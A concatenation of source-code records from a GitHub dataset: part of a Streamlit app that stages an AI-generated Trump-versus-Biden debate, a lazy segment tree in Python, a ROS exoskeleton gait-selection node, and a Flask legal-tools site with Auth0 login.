in his place. \r\n Get under Trump's skin by teasing him. \r\n Only write as Joe Biden and don't include any other text.\r\n Don't include the text 'Biden:' at the beginning of your response. \r\n \"\"\"\r\n + str(bidenExtra)\r\n + \" Consider the top stories on MSNBC news today: \" + str(bidenNews)\r\n },\r\n {\"role\": \"user\", \"content\": \"\"\"\r\n The question is:\r\n \"\"\"\r\n + str(debateQuestion) +\r\n \"\"\"\r\n So far what has been said is: \r\n \"\"\"\r\n + str(previousDiscussion)}\r\n ]\r\n )\r\n return completion.choices[0].message.content\r\n\r\ndef photo(description):\r\n response = openai.Image.create(\r\n prompt=\"Realistic photo of Sponge Bob.\",\r\n n=1,\r\n size=\"512x512\"\r\n )\r\n image_url = response['data'][0]['url']\r\n print(image_url)\r\n\r\n\r\ndef mainPage():\r\n container1 = st.container()\r\n col1, col2, col3 = container1.columns([1,3,1])\r\n container2 = st.container()\r\n col4, col5, col6, col7 = container2.columns([1.7,1,1,1])\r\n with col2:\r\n st.image(\"trump-biden-2024-2.png\")\r\n\r\n debateQuestion = st.text_input('Debate Question', \"What's a better snack Diet Coke or Ice Cream?\")\r\n whoGoesFirst = st.radio(label=\"Who should answer first?\", options=[\"Trump\",\"Biden\"], horizontal=True)\r\n maxRounds = random.randint(1,3)\r\n previousDiscussion = \"\"\r\n if \"trumpScore\" not in st.session_state:\r\n st.session_state[\"trumpScore\"] = 0\r\n st.session_state[\"bidenScore\"] = 0\r\n st.session_state[\"questionsAnswered\"] = 0\r\n st.session_state[\"winner\"] = \"\"\r\n st.session_state[\"startButton\"] = False\r\n st.session_state[\"scoreButton\"] = False\r\n\r\n create_csv_file()\r\n scoreData = pd.read_csv(\"score.csv\")\r\n with col5:\r\n trumpMetric = st.metric(label=\"Trump\", value=scoreData[\"trump_score\"].sum())\r\n\r\n\r\n with col6:\r\n bidenMetric = st.metric(label=\"Biden\", value=scoreData[\"biden_score\"].sum())\r\n\r\n st.session_state[\"startButton\"] = st.button(\"Debate!\", type=\"primary\")\r\n trumpNews, bidenNews = get_news_for_debaters()\r\n if st.session_state[\"startButton\"]:\r\n st.session_state[\"questionsAnswered\"] += 1\r\n for i in range(0, maxRounds):\r\n if whoGoesFirst ==\"Trump\":\r\n st.subheader(\"Trump:\")\r\n with st.spinner(\"Trump formulating response...\"):\r\n trumpResponse = debater(debater=\"Trump\", debateQuestion=debateQuestion, previousDiscussion=previousDiscussion, trumpNews=trumpNews, bidenNews=bidenNews)\r\n st.write(trumpResponse)\r\n previousDiscussion = previousDiscussion + \"Trump: \\\\n\" + trumpResponse\r\n\r\n st.subheader(\"Biden:\")\r\n with st.spinner(\"Biden formulating response...\"):\r\n bidenResponse = debater(debater=\"Biden\", debateQuestion=debateQuestion, previousDiscussion=previousDiscussion, trumpNews=trumpNews, bidenNews=bidenNews)\r\n st.write(bidenResponse)\r\n previousDiscussion = previousDiscussion + \"Biden: \\\\n\" + bidenResponse\r\n else:\r\n st.subheader(\"Biden:\")\r\n with st.spinner(\"Biden formulating response...\"):\r\n bidenResponse = debater(debater=\"Biden\", debateQuestion=debateQuestion, previousDiscussion=previousDiscussion, trumpNews=trumpNews, bidenNews=bidenNews)\r\n st.write(bidenResponse)\r\n previousDiscussion = previousDiscussion + \"Biden: \\\\n\" + bidenResponse\r\n\r\n st.subheader(\"Trump:\")\r\n with st.spinner(\"Trump formulating response...\"):\r\n trumpResponse = debater(debater=\"Trump\", debateQuestion=debateQuestion, previousDiscussion=previousDiscussion, trumpNews=trumpNews, bidenNews=bidenNews)\r\n st.write(trumpResponse)\r\n previousDiscussion = previousDiscussion + \"Trump: \\\\n\" + trumpResponse\r\n\r\n scorebox = st.empty()\r\n if st.session_state[\"questionsAnswered\"] > 0:\r\n with scorebox:\r\n with st.form(\"submit_scores\"):\r\n winner = st.radio(label=\"Who won that round?\", options=[\"No one\", \"Trump\", \"Biden\"], horizontal=True)\r\n submitScoreButton = st.form_submit_button(\"Submit Score\")\r\n if submitScoreButton:\r\n if winner == \"Trump\":\r\n #st.session_state[\"trumpScore\"] += 1\r\n write_score_to_csv(question=debateQuestion, trump_score=1, biden_score=0)\r\n elif winner == \"Biden\":\r\n #st.session_state[\"bidenScore\"] += 1\r\n write_score_to_csv(question=debateQuestion, trump_score=0, biden_score=1)\r\n st.session_state[\"winner\"] = \"\"\r\n st.session_state[\"questionsAnswered\"] = 0\r\n scorebox.empty()\r\n\r\n scoreData = pd.read_csv(\"score.csv\")\r\n with col5:\r\n trumpMetric.metric(label=\"Trump\", value=scoreData[\"trump_score\"].sum())\r\n\r\n with col6:\r\n bidenMetric.metric(label=\"Biden\", value=scoreData[\"biden_score\"].sum())\r\n\r\n\r\n#Main app\r\ndef _main():\r\n hide_streamlit_style = \"\"\"\r\n \r\n \"\"\"\r\n st.markdown(hide_streamlit_style, unsafe_allow_html=True) # This let's you hide the Streamlit branding\r\n mainPage()\r\n\r\nif __name__ == \"__main__\":\r\n _main()\r\n\r\nfeed_url = \"http://feeds.nbcnews.com/feeds/nbcpolitics\" # Replace with the RSS feed URL you want to fetch\r\nget_top_news_from_rss_feed(feed_url, num_stories=3)\r\n","repo_name":"Brett777/TrumpBiden","sub_path":"streamlitTrumpVsBiden.py","file_name":"streamlitTrumpVsBiden.py","file_ext":"py","file_size_in_byte":14178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23774189631","text":"#segment tree for rangeMinQuery, by thushar roy\nclass SegmentTree:\n def __init__(self, arr):\n self.n = len(arr)\n k = 1\n while k < self.n:\n k <<= 1\n self.tree = [float('inf')]*(2*k-1)\n self.lazy = [0]*(2*k-1)\n self.create(arr, 0, self.n-1, 0)\n\n def create(self, arr, lo, hi, pos):\n if lo == hi:\n # print(lo, hi, self.tree, arr)\n self.tree[pos] = arr[lo]\n else:\n mid = (lo+hi)//2\n self.create(arr, lo, mid, pos*2+1)\n self.create(arr, mid+1, hi, pos*2+2)\n self.tree[pos] = min(self.tree[2*pos+1], self.tree[2*pos+2])\n\n def update_tree(self, start, end, delta, lo, hi, pos):\n\n if lo > hi: return\n if self.lazy[pos] != 0:\n self.tree[pos] += self.lazy[pos]\n if lo != hi:\n self.lazy[2*pos+1] += self.lazy[pos]\n self.lazy[2*pos+2] += self.lazy[pos]\n \n self.lazy[pos] = 0\n if start > hi or end < lo:\n return\n if start <= lo and end >= hi:\n self.tree[pos] += delta\n if lo != hi:\n self.lazy[2*pos+1] += delta\n self.lazy[2*pos+2] += delta\n return\n mid = (lo+hi)//2\n self.update_tree(start, end, delta, lo, mid, 2*pos+1)\n self.update_tree(start, end, delta, mid+1, hi, 2*pos+2)\n self.tree[pos] = min(self.tree[2*pos+1], self.tree[2*pos+2])\n\n def range_min_query(self, qleft, qright):\n return self.range_min_query_lazy(qleft, qright, 0, self.n-1, 0)\n\n def range_min_query_lazy(self, qleft, qright, left, right, pos):\n if left > right:\n return float('inf') \n if self.lazy[pos] != 0:\n self.tree[pos] += self.lazy[pos]\n if left != right:\n self.lazy[2*pos+1] += self.lazy[pos]\n self.lazy[2*pos+2] += self.lazy[pos]\n self.lazy[pos] = 0\n\n if qleft <= left and qright >= right:\n return self.tree[pos]\n elif qleft > right or qright < left:\n return float('inf')\n mid = (left+right)//2\n return min(self.range_min_query_lazy(qleft, qright, left, mid, 2*pos+1), self.range_min_query_lazy(qleft, qright, mid+1, right, 2*pos+2))\n\n def update_index(self, index, value):\n self.update_tree(index, index, value, 0, self.n-1, 0)\n\n def update_range(self, start, end, delta):\n self.update_tree(start, end, delta, 0, self.n-1, 0)\n\n\narr = [-1,2,4,1,7,1,3,2]\n\ntree = SegmentTree(arr)\nprint(tree.tree)\ntree.update_range(0, 3, 3)\nprint(tree.tree)\ntree.update_range(0, 3, 1)\nprint(tree.tree)\ntree.update_index(0, 2)\nprint(tree.tree)\nprint(tree.range_min_query(3, 5))\nprint(tree.tree)","repo_name":"jomesh18/Leetcode","sub_path":"DS & Algorithms/segment_tree.py","file_name":"segment_tree.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44712512100","text":"import rospy\nfrom std_msgs.msg import Header\nfrom std_srvs.srv import Trigger\nfrom urdf_parser_py import urdf\n\nfrom march_shared_resources.msg import CurrentGait, CurrentState, Error\nfrom march_shared_resources.srv import (ContainsGait, ContainsGaitResponse, PossibleGaits, PossibleGaitsResponse,\n SetGaitVersion)\n\nfrom .dynamic_gaits.balance_gait import BalanceGait\nfrom .gait_selection import GaitSelection\nfrom .sounds import Sounds\nfrom .state_machine.gait_state_machine import GaitStateMachine\nfrom .state_machine.state_machine_input import StateMachineInput\nfrom .state_machine.trajectory_scheduler import TrajectoryScheduler\n\nNODE_NAME = 'gait_selection'\nDEFAULT_GAIT_FILES_PACKAGE = 'march_gait_files'\nDEFAULT_GAIT_DIRECTORY = 'minimal'\nDEFAULT_UPDATE_RATE = 120.0\n\n\ndef set_gait_versions(msg, gait_selection):\n \"\"\"Sets a new gait version to the gait selection instance.\n\n :type msg: march_shared_resources.srv.SetGaitVersionRequest\n :type gait_selection: GaitSelection\n :rtype march_shared_resources.srv.SetGaitVersionResponse\n \"\"\"\n if len(msg.subgaits) != len(msg.versions):\n return [False, '`subgaits` and `versions` array are not of equal length']\n\n version_map = dict(zip(msg.subgaits, msg.versions))\n try:\n gait_selection.set_gait_versions(msg.gait, version_map)\n return [True, '']\n except Exception as e:\n return [False, str(e)]\n\n\ndef contains_gait(request, gait_selection):\n \"\"\"\n Checks whether a gait and subgait are loaded.\n\n :type request: ContainsGaitRequest\n :param request: service request\n :param gait_selection: current loaded gaits\n :return: True when the gait and subgait are loaded\n \"\"\"\n gait = gait_selection[request.gait]\n if gait is None:\n return ContainsGaitResponse(False)\n for subgait in request.subgaits:\n if gait[subgait] is None:\n return ContainsGaitResponse(False)\n\n return ContainsGaitResponse(True)\n\n\ndef error_cb(gait_state_machine, msg):\n if msg.type == Error.NON_FATAL:\n rospy.logerr('Stopping current gait. reason: {0}'.format(msg.error_message))\n gait_state_machine.stop()\n elif msg.type == Error.FATAL:\n rospy.logerr('Requesting shutdown. reason: {0}'.format(msg.error_message))\n gait_state_machine.request_shutdown()\n\n\ndef create_services(gait_selection, gait_state_machine):\n rospy.Service('/march/gait_selection/get_version_map', Trigger,\n lambda msg: [True, str(gait_selection.gait_version_map)])\n\n rospy.Service('/march/gait_selection/set_gait_version', SetGaitVersion,\n lambda msg: set_gait_versions(msg, gait_selection))\n\n rospy.Service('/march/gait_selection/get_directory_structure', Trigger,\n lambda msg: [True, str(gait_selection.scan_directory())])\n\n rospy.Service('/march/gait_selection/update_default_versions', Trigger,\n lambda msg: gait_selection.update_default_versions())\n\n rospy.Service('/march/gait_selection/contains_gait', ContainsGait,\n lambda msg: contains_gait(msg, gait_selection))\n\n rospy.Service('/march/gait_selection/get_possible_gaits', PossibleGaits,\n lambda msg: PossibleGaitsResponse(gaits=gait_state_machine.get_possible_gaits()))\n\n\ndef create_subscribers(gait_state_machine):\n rospy.Subscriber('/march/error', Error, lambda msg: error_cb(gait_state_machine, msg))\n\n\ndef create_publishers(gait_state_machine):\n current_state_pub = rospy.Publisher('/march/gait_selection/current_state', CurrentState, queue_size=10)\n current_gait_pub = rospy.Publisher('/march/gait_selection/current_gait', CurrentGait, queue_size=10)\n\n def current_state_cb(state, next_is_idle):\n current_state_pub.publish(header=Header(stamp=rospy.Time.now()), state=state,\n state_type=CurrentState.IDLE if next_is_idle else CurrentState.GAIT)\n\n def current_gait_cb(gait_name, subgait_name, version, duration, gait_type):\n current_gait_pub.publish(header=Header(stamp=rospy.Time.now()), gait=gait_name, subgait=subgait_name,\n version=version, duration=rospy.Duration.from_sec(duration), gait_type=gait_type)\n\n gait_state_machine.add_transition_callback(current_state_cb)\n gait_state_machine.add_gait_callback(current_gait_cb)\n\n\ndef create_sounds(gait_state_machine):\n if rospy.get_param('~sounds', False):\n sounds = Sounds(['start', 'gait_start', 'gait_end', 'gait_stop'])\n\n def play_gait_sound(_state, next_is_idle):\n if next_is_idle:\n sounds.play('gait_end')\n else:\n sounds.play('gait_start')\n\n gait_state_machine.add_transition_callback(play_gait_sound)\n gait_state_machine.add_stop_accepted_callback(lambda: sounds.play('gait_stop'))\n\n # Short sleep is necessary to wait for the sound topic to initialize\n rospy.sleep(0.5)\n sounds.play('start')\n\n\ndef main():\n rospy.init_node(NODE_NAME)\n gait_package = rospy.get_param('~gait_package', DEFAULT_GAIT_FILES_PACKAGE)\n gait_directory = rospy.get_param('~gait_directory', DEFAULT_GAIT_DIRECTORY)\n update_rate = rospy.get_param('~update_rate', DEFAULT_UPDATE_RATE)\n robot = urdf.Robot.from_parameter_server('/robot_description')\n balance_used = rospy.get_param('/balance', False)\n\n gait_selection = GaitSelection(gait_package, gait_directory, robot)\n rospy.loginfo('Gait selection initialized with package {0} of directory {1}'.format(gait_package, gait_directory))\n\n if balance_used:\n balance_gait = BalanceGait.create_balance_subgait(gait_selection['balance_walk'])\n if balance_gait is not None:\n gait_selection.add_gait(balance_gait)\n\n scheduler = TrajectoryScheduler('/march/controller/trajectory/follow_joint_trajectory')\n\n state_input = StateMachineInput()\n gait_state_machine = GaitStateMachine(gait_selection, scheduler, state_input, update_rate)\n rospy.loginfo('Gait state machine successfully generated')\n\n rospy.core.add_preshutdown_hook(lambda reason: gait_state_machine.request_shutdown())\n\n create_services(gait_selection, gait_state_machine)\n create_subscribers(gait_state_machine)\n create_publishers(gait_state_machine)\n create_sounds(gait_state_machine)\n\n gait_state_machine.run()\n","repo_name":"project-march/march","sub_path":"march_gait_selection/src/march_gait_selection/gait_selection_node.py","file_name":"gait_selection_node.py","file_ext":"py","file_size_in_byte":6385,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"} +{"seq_id":"8990888343","text":"#!/usr/bin/env python\n# coding=utf-8\nimport os\nimport pandas as pd\nfrom datetime import datetime, date, timedelta\nfrom functools import wraps\nfrom os import environ as env\nfrom werkzeug.exceptions import HTTPException\nimport dominate.tags as html\nfrom dotenv import load_dotenv, find_dotenv\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import redirect\nfrom flask import render_template\nfrom flask import session\nfrom flask import url_for\nfrom flask import request\nfrom flask_sslify import SSLify\nfrom authlib.flask.client import OAuth\nfrom six.moves.urllib.parse import urlencode\n\nimport constants\nfrom utils import delta, cnvt_date\nfrom workalendar.europe import Switzerland\n\nENV_FILE = find_dotenv()\nif ENV_FILE:\n load_dotenv(ENV_FILE)\n\nAUTH0_CALLBACK_URL = env.get(constants.AUTH0_CALLBACK_URL)\nAUTH0_CLIENT_ID = env.get(constants.AUTH0_CLIENT_ID)\nAUTH0_CLIENT_SECRET = env.get(constants.AUTH0_CLIENT_SECRET)\nAUTH0_DOMAIN = env.get(constants.AUTH0_DOMAIN)\nAUTH0_BASE_URL = 'https://' + AUTH0_DOMAIN if AUTH0_DOMAIN is not None else env.get(constants.AUTH0_BASE_URL)\nAUTH0_AUDIENCE = env.get(constants.AUTH0_AUDIENCE, '')\nif AUTH0_AUDIENCE is '':\n AUTH0_AUDIENCE = AUTH0_BASE_URL + '/userinfo'\n\n\napp = Flask(__name__,\n static_url_path='/public',\n static_folder='./public')\n\napp.secret_key = constants.SECRET_KEY\napp.debug = False\n\n# sslify = SSLify(app)\n\n\n@app.errorhandler(Exception)\ndef handle_auth_error(ex):\n response = jsonify(message=repr(ex) + \": \" + str(ex))\n response.status_code = (ex.code if isinstance(ex, HTTPException) else 500)\n return response\n\n\noauth = OAuth(app)\n\n\nauth0 = oauth.register(\n 'auth0',\n client_id=AUTH0_CLIENT_ID,\n client_secret=AUTH0_CLIENT_SECRET,\n api_base_url=AUTH0_BASE_URL,\n access_token_url=AUTH0_BASE_URL + '/oauth/token',\n authorize_url=AUTH0_BASE_URL + '/authorize',\n client_kwargs={\n 'scope': 'openid profile',\n },\n)\n\n\ndef requires_auth(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n # return f(*args, **kwargs)\n if constants.PROFILE_KEY not in session:\n # Redirect to / home-page here if we don't want to send people straight to the sign-up page\n return redirect('/login')\n return f(*args, **kwargs)\n return decorated\n\n\n# def ssl_required(f):\n# @wraps(f)\n# def decorated_view(*args, **kwargs):\n# if current_app.config.get(\"SSL\"):\n# if request.is_secure:\n# return f(*args, **kwargs)\n# else:\n# return redirect(request.url.replace(\"http://\", \"https://\"))\n# return f(*args, **kwargs)\n# return decorated_view\n\n# Controllers API\n@app.route('/login')\ndef login():\n return auth0.authorize_redirect(redirect_uri=AUTH0_CALLBACK_URL, audience=AUTH0_AUDIENCE)\n\n\n# @app.route('/welcome')\n# def welcome():\n# return render_template('dashboard.html',\n# pageinfo={'log_name': 'LogIn',\n# 'log_link': '/login',\n# 'pic_display': 'block'},\n# userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/')\ndef home():\n # check if user is already logged in\n if constants.PROFILE_KEY in session:\n return redirect('/dashboard')\n\n return render_template('dashboard.html',\n pageinfo={'log_name': 'LogIn',\n 'log_link': '/login',\n 'pic_display': 'none'},\n userinfo={'picture': ''})\n\n\n# Here we're using the /callback route.\n@app.route('/callback')\ndef callback_handling():\n # Handles response from token endpoint\n token = auth0.authorize_access_token()\n resp = auth0.get('userinfo')\n userinfo = resp.json()\n\n # Store the user information in flask session.\n session[constants.JWT_PAYLOAD] = userinfo\n session[constants.PROFILE_KEY] = {\n 'user_id': userinfo['sub'],\n 'name': userinfo['name'],\n 'picture': userinfo['picture']\n }\n\n # Store the token as a cookie\n response = redirect('/dashboard')\n # to set actual expiry, we need to provide that as a datetime ?# expires=token.get('expires_in')\n # https://stackoverflow.com/questions/26613435/python-flask-not-creating-cookie-when-setting-expiration\n # http://flask.pocoo.org/docs/1.0/api/#flask.Response.set_cookie\n # TODO: domain=.mydomain.com\n response.set_cookie('ltjwt',\n value='{}'.format(token.get('id_token')),\n max_age=token.get('expires_in'),\n httponly=True,\n secure=False)\n # response.set_cookie('ltjwt', value='{}'.format(token.get('id_token')), max_age=token.get('expires_in'))\n return response\n\n\n@app.route('/dashboard')\n@requires_auth\ndef dashboard():\n return render_template('dashboard.html',\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n##################################\n# ALL APPS LINKED HERE #\n\n\n@app.route('/disclaimer')\ndef disclaimer():\n\n content = html.div(cls='app-wrapper')\n content.add(html.h1('Disclaimer', cls='serif'))\n\n content.add(html.div('''\n Die LAWYER TOOLS liefern keine rechtlich\n verbindlichen Ergebnisse und sind kein Ersatz für Ihre eigenen Berechnungen\n und Abklärungen. \n '''))\n content.add(html.p())\n content.add(html.div('''\n LAWYER TOOLS unterstützen lediglich die eigenen und allein\n massgebenden Berechnungen und Abklärungen der fachkundigen Benutzer*innen.\n Wer sich nicht auf seine eigenen Abklärungen und Berechnungen, sondern auf\n diejenige der LAWYER TOOLS, verlässt, tut dies auf EIGENE GEFAHR und trägt\n für allfällige Schäden die alleinige Verantwortung.'''))\n content.add(html.p())\n content.add(html.div(''' \n Wer sich nicht auf seine eigenen Abklärungen und Berechnungen, sondern auf\n diejenige der LAWYER TOOLS, verlässt, tut dies auf EIGENE GEFAHR und trägt\n für allfällige Schäden die alleinige Verantwortung.'''))\n\n content.add(html.span('Im Übrigen gelten die'))\n content.add(html.span(html.a('AGBs', href='/agb')))\n\n return render_template('generic.html',\n appinfo={'external_src': 'https://legaldrop.duckdns.org', # https://drop.lawyer.tools\n 'iframe_height': '1024',\n 'iframe_width': '100%'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block',\n 'content': content},\n userinfo=session[constants.PROFILE_KEY])\n\n#\n# @app.route('/impressum')\n# def impressum():\n#\n# content = html.div(cls='app-wrapper')\n# content.add(html.h1('Impressum', cls='serif'))\n#\n# content.add(html.div('''\n# Kommt bald...'''))\n#\n# return render_template('generic.html',\n# appinfo={'external_src': 'https://legaldrop.duckdns.org', # https://drop.lawyer.tools\n# 'iframe_height': '1024',\n# 'iframe_width': '100%'},\n# pageinfo={'log_name': 'LogOut',\n# 'log_link': '/logout',\n# 'pic_display': 'block',\n# 'content': content},\n# userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/agb')\ndef agb():\n\n content = html.div(cls='app-wrapper')\n content.add(html.h1('AGB', cls='serif'))\n\n content.add(html.a('Dokument hier herunterladen', href='/public/data/agb.docx'))\n\n return render_template('generic.html',\n appinfo={'external_src': 'https://legaldrop.duckdns.org', # https://drop.lawyer.tools\n 'iframe_height': '1024',\n 'iframe_width': '100%'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block',\n 'content': content},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/contact')\ndef contact():\n\n content = html.div()\n content.add(html.h1('Hello', cls='h1 serif'))\n content.add(html.h1('Fellaw', cls='h1'))\n\n content.add(html.h2('Unsere Tools sind handgemacht. Lernen Sie uns kennen.', cls='h2'))\n content.add(html.h3('codefour gmbh', cls='h3'))\n content.add(html.p('Zentralstrasse 47', cls='p'))\n content.add(html.p('CH-8003 Zürich', cls='p'))\n content.add(html.a('info@codefour.ch', href=\"mailto:info@codefour.ch\"))\n\n content.add(html.h4('Swissmade Code gepaart mit Anwalts-Know-How', cls='h4'))\n content.add(html.p('Unsere Expertisen aus Informatik und Juristik vereinen wir als Team mit der Plattform Lawyer Tools', cls='p'))\n\n content.add(html.h2('Wer wir sind', cls='h2'))\n\n with content:\n\n with html.div(cls='team-wrapper'):\n with html.a(cls='team-member-box w-inline-block'):\n\n with html.div(cls='portrait-image'):\n html.img(src='/public/images/portrait_simon.jpg', cls='image')\n html.h4('Simon Schnetzler', cls='h4')\n html.p('Lic. iur. ', cls='p')\n with html.a(cls='team-member-box w-inline-block'):\n\n with html.div(cls='portrait-image'):\n html.img(src='/public/images/portrait_gregor.jpg', cls='image')\n html.h4('Gregor Münch', cls='h4')\n html.p('Lic. iur. ', cls='p')\n with html.a(cls='team-member-box w-inline-block'):\n\n with html.div(cls='portrait-image'):\n html.img(src='/public/images/portrait_christoph.jpg', cls='image')\n html.h4('Christoph Russ', cls='h4')\n html.p('Dr. sc. ETH', cls='p')\n with html.a(cls='team-member-box w-inline-block'):\n\n with html.div(cls='portrait-image'):\n html.img(src='/public/images/portrait_christian.jpg', cls='image')\n html.h4('Christian Wengert', cls='h4')\n html.p('Dr. sc. ETH', cls='p')\n\n return render_template('generic.html',\n appinfo={'external_src': 'https://legaldrop.duckdns.org', # https://drop.lawyer.tools\n 'iframe_height': '1024',\n 'iframe_width': '100%'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block',\n 'content': content},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/legaldrop')\n@requires_auth\ndef legaldrop():\n content = html.iframe(src='https://legaldrop.lawyer.tools', height='600', width='100%', frameborder=0)\n\n return render_template('application.html',\n appinfo={'title1': 'Legal',\n 'title2': 'Drop',\n 'short_text': 'Mit Legal Drop versenden Sie Ihre Daten End-zu-End verschlüsselt an Ihre Klienten.',\n 'app_content': content,\n 'more_title': 'Volle Sicherheit',\n 'more_content': 'Senden Sie Dateien über einen sicheren, privaten und verschlüsselten Link, der automatisch abläuft, damit Ihre Daten nicht für immer im Internet bleiben.'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/datedelta')\n@requires_auth\ndef datedelta():\n\n args = request.args\n start = args.get('start', '')\n end = args.get('end', '')\n\n result = delta(start, end)\n content = html.div(cls='form-block w-form')\n if result:\n\n with content:\n with html.div(cls='answer w-form'):\n html.div(f'Anzahl Tage zwischen diesen Daten: {result.days}', cls='h2 white')\n html.div()\n html.div(html.a('Neu berechnen', href='/datedelta', cls='white w--current button'),\n cls='')\n\n else:\n\n form = content.add(html.form(action='/datedelta', method='GET'))\n with form.add(html.div()):\n html.label('Startdatum', fr='start', cls='formfield-title')\n html.input(name='start', type='date', value=start, cls='formfield-default w-input',\n placeholder='2018-01-01')\n\n with form.add(html.div()):\n html.label('Enddatum', fr='end', cls='formfield-title')\n html.input(name='end', type='date', value=end, cls='formfield-default w-input',\n placeholder='2018-01-18')\n\n with form.add(html.div()):\n html.input('Abschicken', type='submit', cls='button white w-button')\n\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'Date',\n 'title2': 'Delta',\n 'short_text': 'Datums Delta berechnet die Anzahl Tage zwischen zwei Daten.',\n 'app_content': content,\n 'more_title': 'Berechnungsformel',\n 'more_content': 'Differenz zwischen zwei Daten - ohne Feiertage'},\n\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/duedate')\n@requires_auth\ndef duedate():\n\n content = html.div(cls='form-block w-form')\n \n\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'Due',\n 'title2': 'Date',\n 'short_text': 'Berechnen Sie Ihre Frist in Sekundenschnelle',\n 'app_content': content,\n 'more_title': 'Berechnungsformel',\n 'more_content': 'Siehe die betreffenden Rechtsgrundlagen'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\npath = os.path.join(os.path.dirname(__file__), 'data', 'Datensatz High Limits.xlsx')\nSPEED_LIMITS = pd.read_excel(path, index_col=[0, 1])\n\n\n@app.route('/speedlimits')\n@requires_auth\ndef speedlimits():\n speed = request.args.get('speed', '')\n zone = request.args.get('zone', '')\n\n content = html.div(cls='form-block w-form')\n\n \n\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'Speed',\n 'title2': 'Limits',\n 'short_text': 'Was droht Ihrem Klienten bei einer Geschwindigkeitsübertretung',\n 'app_content': content,\n 'more_title': 'Methodik',\n 'more_content': 'Siehe die einschlägigen Rechtsquellen'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/visiblearticle')\n@requires_auth\ndef visiblearticle():\n content = html.iframe(src='https://va.lawyer.tools', height='1024', width='100%', frameborder=0)\n\n return render_template('application.html',\n appinfo={'title1': 'Visible',\n 'title2': 'Article',\n 'short_text': 'Schnelle Popups von Gesetzestexten bei Ihrer Onlinerecherche',\n 'app_content': content,\n 'more_title': 'Verlinkte Rechtsquellen',\n 'more_content': 'ARG, ATSG, AUG, BGG, BV, BVG, DBG, DSG, INDEX, KVG, MWSTG, OBV, OR, SCHKG, STGB, STPO, SVG, UVG, VRV, VTS, ZGB, ZPO'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY]\n )\n\n\n@app.route('/founderbot')\n@requires_auth\ndef founderbot():\n content = html.iframe(src='https://gr.lawyer.tools', height='1024', width='100%', frameborder=0)\n\n return render_template('application.html',\n appinfo={'title1': 'Founder',\n 'title2': 'Bot',\n 'short_text': 'Erstellen der kompletten Gründungsunterlagen mit wenigen Klicks. Bekannt vom Swisslegaltech Hackathon 2017!',\n 'app_content': content,\n 'more_title': 'Output',\n 'more_content': 'Es werden die benötigten Gründungsunterlagen schnell und einfach mit Ihren Eingaben abgemischt'},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/flightdelay')\n@requires_auth\ndef flightdelay():\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'Flight',\n 'title2': 'Delay',\n 'more_title': '',\n 'more_content': ''},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/highdrive')\n@requires_auth\ndef highdrive():\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'High',\n 'title2': 'Drive',\n 'more_title': '',\n 'more_content': ''},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/labourlaw')\n@requires_auth\ndef labourlaw():\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'Labour',\n 'title2': 'Law',\n 'more_title': '',\n 'more_content': ''},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/shabscanner')\n@requires_auth\ndef shabscanner():\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'SHAB',\n 'title2': 'Scanner',\n 'more_title': '',\n 'more_content': ''},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n userinfo=session[constants.PROFILE_KEY])\n\n\n@app.route('/watchdog')\n@requires_auth\ndef watchdog():\n return render_template('application.html',\n appinfo={'app_name': 'APP',\n 'app_logo': 'LOGO',\n 'title1': 'Watch',\n 'title2': 'Dog',\n 'more_title':'',\n 'more_content': ''},\n pageinfo={'log_name': 'LogOut',\n 'log_link': '/logout',\n 'pic_display': 'block'},\n 